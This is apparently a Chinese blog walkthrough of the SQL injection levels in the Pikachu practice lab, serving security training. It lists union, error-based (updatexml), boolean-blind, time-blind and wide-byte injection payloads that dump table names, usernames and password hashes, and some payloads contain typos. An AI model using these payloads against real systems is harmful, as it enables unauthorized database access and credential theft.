Sql Inject-SQL注入

Sql Inject(SQL注入)概述


在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
 

哦,SQL注入漏洞,可怕的漏洞。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!


SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该

1、数字型注入(post)

由题可知是数字型注入(post)

查看代码,发现代码对id没有做任何过滤

点击查询抓包,

payload为:id=1' 报错,可判断存在SQL注入

判断字段数

payload为:id=1 order by 3报错

payload为:id=1 order by 2有回显,所以字段数为2

判断回显点,可以在1和2这两处位置,获得我们想要的信息

payload为:id=1 union select 1,2

查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu

payload为:id=1 union select user(),database()

查询到数据库pikachu下的所有表名为:httpinfo,member,message,users,xssblind

payload为:id=-1 union select 1,concat(table_name) from information_schema.tables where table_schema='pikachu'

查询到数据表users中的字段为:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

payload为:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

查询字段username和password的内容

payload为:id=1 union select group_concat(username),group_concat(password) from users

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

2、数字型注入(get)

由题可知是字符型注入(get),可直接在url中的name参数后进行修改

输入'点击查询,报错,判断存在SQL注入

/vul/sqli/sqli_str.php?name=%27&submit=查询

可以用' or '1'='1对'进行闭合

输入payload为:name=' or '1'='1,可查询出所有账户数据

name=' or 1=1 -- +

判断字段数

payload为:' order by 3-- q

有报错

判断字段数

payload为:' order by 2-- q

有回显

判断回显点,可以在1和2这两处位置,获得我们想要的信息

payload为:' union select 1,2 -- q

查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu

payload为:' union select user(),database() -- q

下一步同上post。。。

3、 搜索型注入

由题可知是搜索型注入(get),可直接在url中的name参数后进行修改

输入'点击查询,报错,判断存在SQL注入

/vul/sqli/sqli_str.php?name=%27&submit=查询

存在数据报错

输入payload为:name=' or 1=1-- -,可查询出所有账户数据

判断字段数

payload为:' order by 3 -- q

有回显

payload为:' order by 4 -- q

报错,所以字段数为3

下一步同上 。。。

4、xx型注入

输入'报错,此处存在SQL注入漏洞,观察报错信息,出现)

/vul/sqli/sqli_str.php?name=%27&submit=查询

输入payload为:')-- q,成功闭合

判断字段数

payload为:') order by 2 -- q

有回显

判断字段数

payload为:') order by 3 -- q

有报错

下一步同上...

5、insert&update注入

insert/update是插入和更新的意思,这两个场景的注入,post数据包里的每一个参数都可以注入

insert注入

首先在注册的时候抓包分析。

payload为:username=' 报错,可判断存在SQL注入

本题运用报错注入的方法进行解答

查询用户名root@localhost

查询到数据库用户名
payload为:username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q
查询到数据库名为pikachu
payload为:username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q

查询到数据库pikachu下的所有表名为httpinfo,member,message,users,x发现不能全部显示

payload为:username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1)or'

在这一步可以使用left,mid,right来进行分段显示,将得到的信息进行拼接,下图中的22是从右往左显示22个字符,所有表名为httpinfo,member,message,users,xssblind

payload为:username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'

还可以用limit函数逐个读取数据库中的表名

payload为:username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'

查询到users表中的字段名为id,username,password,level,id,u

payload为:username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)or'

查询到users表中所有的字段名为id,username,password,level,id,username,password

payload为:username=' or updatexml(1,concat(0x7e,right((select group_concat(column_name) from information_schema.columns where table_name='users'),22)),1)or'

还可以用limit函数逐个读取users表中的字段名

payload为:username=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)or'

直接查询到字段username的内容为admin,pikachu,test

payload为:username=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'
payload为:username=' or updatexml(1,concat(0x7e,(select group_concat(password) from users)),1)or'

update注入

首先利用已知的账号kobe,密码123456登录

点击修改个人信息,点击submit,抓包

payload为:sex=' 报错,可判断存在SQL注入

中间过程和insert注入类似,只是注入参数变成了sex

直接查询到字段username的内容为admin,pikachu,test

payload为:sex=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

payload为:%20or updatexml(1,concat(0x7e,(selectpasswordfromuserslimit0,1)),1)

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

7. http header注入

输入admin/123456,点击login登录

通常情况下,页面返回信息有user agent数据的,将http头中的user-agent和accept带入了SQL查询,如果没过滤就会存在http header注入

刷新页面抓包,Accept也可进行注入

修改User-Agent: ' 报错,可以判断此处存在SQL注入

查询数据库名

payload为:' or updatexml(1,concat(0x7e,(select database())),1)or'

中间过程和insert/update注入一样,只是注入参数修改为User-Agent,在此不再赘述

直接查询到字段username的内容为admin,pikachu,test

payload为:' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

8. 盲注(base on boolian)

由题可知是布尔盲注,只会返回True或者False,不会返回报错信息

输入lucy,点击查询,返回True,输入lucy'返回False,说明此处存在SQL注入

判断当前数据库的长度,大于6不大于7,所以长度为7,可以用burp的Intruder模块

payload为:lucy' and length(database())>7-- q,False

payload为:lucy' and length(database())>7-- q,False

判断库名第一个字母为p,True

payload为:lucy' and (substr(database(),1,1))='p'-- q

以此类推,数据库名为pikachu

判断表名第一个表的第一个字母为h,True

payload为:lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- q

以此类推,所有表名为httpinfo,member,message,users,xssblind

判断users表中第一个字段的第一个字母是i,True

payload为:lucy' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'-- q

判断use以此类推,所有字段名为id,username,password,level,id,username,passwordusername中第一个内容的第一个字母为a,True

payload为:lucy' and (substr((select username from users limit 0,1),1,1))='a'-- q

以此类推

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

9. 盲注(base on time)

由题可知是延时注入

使用sleep()函数:输入

payload为:kobe%27+and+sleep%283%29--%20q

页面延时3秒返回,说明此处存在延时注入漏洞

判断当前数据库名长度为7,页面没有延时,说明数据库长度为7

payload为:kobe%27+and sleep(if((length(database())=7),0,3))--%20q

判断库名第一个值为p,页面没有延时,说明数据库第一个值为p

payload为:kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q

以此类推,数据库名为pikachu

判断表名第一个表的第一个值为h,页面没有延时,说明第一个表的第一个值为h

payload为:kobe' and if(substr((select table_name from information_schema.tables where table_schema=database() limit0,1),1,1)='h',0,sleep(3))-- q

以此类推,所有表名为httpinfo,member,message,users,xssblind

判断users表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i

payload为:kobe' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',0,sleep(3))-- q

以此类推,所有字段名为id,username,password,level,id,username,password

判断username中第一个内容的第一个值为a,页面没有延时,username中第一个内容的第一个值为a

ayload为:kobe' and if(substr((select username from users limit 0,1),1,1)='a',0,sleep(3))-- q

以此类推

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

10.宽字节注入

由题可知是宽字节注入,简单来说就是数据库用了GBK编码,\转义了' ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”,可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了

输入

payload为:kobe%df' or 1=1-- q

点击查询,抓包,可以查询出所有用户的数据

pikachu的宽字节靶场无法判断字段数,根据之前的经验,直接进入下一步

判断回显点可以在1和2这两处位置,获得我们想要的信息

payload为:kobe%df' union select 1,2-- q

中间的过程和字符型(get)注入类似,只是需要%df来逃逸单引号,在此不再赘述

直接查询字段username和password的内容

payload为:kobe%df' union select group_concat(username),group_concat(password) from users -- q

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

本文版权归作者和CSDN平台共有,重在学习交流,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值